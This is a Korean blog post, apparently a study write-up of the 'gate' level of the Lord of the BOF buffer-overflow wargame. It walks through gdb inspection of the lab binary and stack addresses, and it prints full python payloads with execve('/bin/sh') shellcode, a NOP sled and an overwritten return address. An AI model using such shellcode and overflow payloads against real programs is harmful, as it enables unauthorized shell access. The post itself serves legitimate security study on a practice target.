본문 바로가기

해킹공부/lob

gate

system hacking을 차근차근 한번 공부해보기 위해 1단계로 bof를 골랐다.

그래서 이제 lob를 하나씩 풀기로 했습니다.

 

이것도 소스코드부터 확인해봅시다.

 

 

정말 대놓고 bof 문제다.

우선 풀이를 할 내용을 간단하게 요약하자면

1. 특정 메모리(주소를 알 수 있는)에 shellcode를 입력한다.

2. RET주소에 shellcode를 입력한 주소를 넣어준다.

말은 참 쉽다.....

 

뭘 하던 일단 gdb로 열어보았다.

/tmp로 복사해서 열어봐야 볼 수 있다.

 

 

stack에 dump는 없나보다.

선언한 256byte만 사용하고 있다. <main+3>

그럼 일단 여기까지 payload는 "A"*260+"RET"이다.

 

우연히 알았지만 이 프로그램엔 ASLR이 걸려있지 않다.

ASLR은 stack의 주소를 random하게해 프로그램을 실행할 때 마다 다르게 되도록 만드는 보안기법이다.

 

 

argv[1]은 0xbffff978에서부터 입력되고 RET는 0xbffffa7c이다.

shellcode는 구글링을 통해 24byte짜리 코드를 사용했다.

 

여기서 만들어본 payload는

`python -c 'print "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*236 + "\x78\xf9\xff\xbf"'`

 

 

안된다.

구글링해보면 2가지가 이유였다.

bash2를 해주지 않으면 \xff의 입력이 잘 되지 않는다는 것이 하나였고

"\x90"으로 안정성있게 실행시켜야 한다는 것이 하나였다. ( 사실 제대로 이해는 못했다. )

 

2가지를 적용해서 다시 payload를 만들어보았다.

`python -c 'print "\x90"*100 + "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*136 + "\x78\xf9\xff\xbf"'`

 

이번엔 된다.

\x90에 대해서 다시 한번 검색해봐야 될 것 같다.

'해킹공부 > lob' 카테고리의 다른 글

wolfman  (0) 2017.10.18
orc  (0) 2017.10.17
goblin  (0) 2017.10.17
cobolt  (0) 2017.10.13
gremlin  (0) 2017.10.13